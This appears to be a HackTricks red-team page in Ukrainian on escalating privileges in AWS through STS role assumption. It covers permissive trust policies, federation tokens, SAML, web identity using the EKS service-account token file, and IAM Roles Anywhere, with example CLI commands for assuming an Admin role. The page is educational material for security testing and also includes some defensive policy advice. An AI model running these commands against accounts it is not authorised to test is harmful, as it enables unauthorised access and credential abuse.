AWS - STS Privesc

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

STS

sts:AssumeRole

Кожна роль створюється з політикою довіри до ролі, ця політика вказує хто може прийняти створену роль. Якщо роль з того ж облікового запису говорить, що обліковий запис може її прийняти, це означає, що обліковий запис зможе отримати доступ до ролі (і потенційно privesc).

Наприклад, наступна політика довіри до ролі вказує, що будь-хто може її прийняти, отже, будь-який користувач зможе privesc до дозволів, пов'язаних з цією роллю.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

Ви можете видати себе за роль, яка виконує:

bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname

Потенційний вплив: Привілейоване підвищення до ролі.

caution

Зверніть увагу, що в цьому випадку дозвіл sts:AssumeRole потрібно вказати в ролі для зловживання і не в політиці, що належить атакуючому.
З одним винятком, для того щоб прийняти роль з іншого облікового запису, обліковий запис атакуючого також повинен мати sts:AssumeRole над роллю.

sts:GetFederationToken

З цим дозволом можливо згенерувати облікові дані для видавання себе за будь-якого користувача:

bash
aws sts get-federation-token --name <username>

Ось як ці дозволи можуть бути надані безпечно, не надаючи доступу до імітації інших користувачів:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:GetFederationToken",
"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
}
]
}

sts:AssumeRoleWithSAML

Політика довіри з цією роллю надає користувачам, аутентифікованим через SAML, доступ до наслідування ролі.

Приклад політики довіри з цим дозволом:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}

Щоб згенерувати облікові дані для імітації ролі, ви можете використовувати щось на зразок:

bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>

Але постачальники можуть мати власні інструменти, щоб спростити це, такі як onelogin-aws-assume-role:

bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600

Потенційний вплив: Привласнення прав до ролі.

sts:AssumeRoleWithWebIdentity

Ця дозволяє отримати набір тимчасових облікових даних безпеки для користувачів, які були автентифіковані в мобільному, веб-додатку, EKS... з постачальником веб-ідентичності. Дізнайтеся більше тут.

Наприклад, якщо обліковий запис служби EKS повинен мати можливість видавати себе за IAM роль, він матиме токен у /var/run/secrets/eks.amazonaws.com/serviceaccount/token і може прийняти роль і отримати облікові дані, виконавши щось на зразок:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod

Federation Abuse

AWS - Federation Abuse

IAM Roles Anywhere Privesc

AWS IAM RolesAnywhere дозволяє навантаженням поза AWS приймати IAM ролі, використовуючи X.509 сертифікати. Але коли політики довіри не мають належних обмежень, їх можна зловживати для ескалації привілеїв.

Ця політика не має обмежень на те, які атрибути довірчого якоря або сертифіката дозволені. В результаті будь-який сертифікат, пов'язаний з будь-яким довірчим якорем в обліковому записі, може бути використаний для прийняття цієї ролі.

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}

Для підвищення привілеїв, aws_signing_helper потрібен з https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html

Потім, використовуючи дійсний сертифікат, зловмисник може перейти до ролі з вищими привілеями.

bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks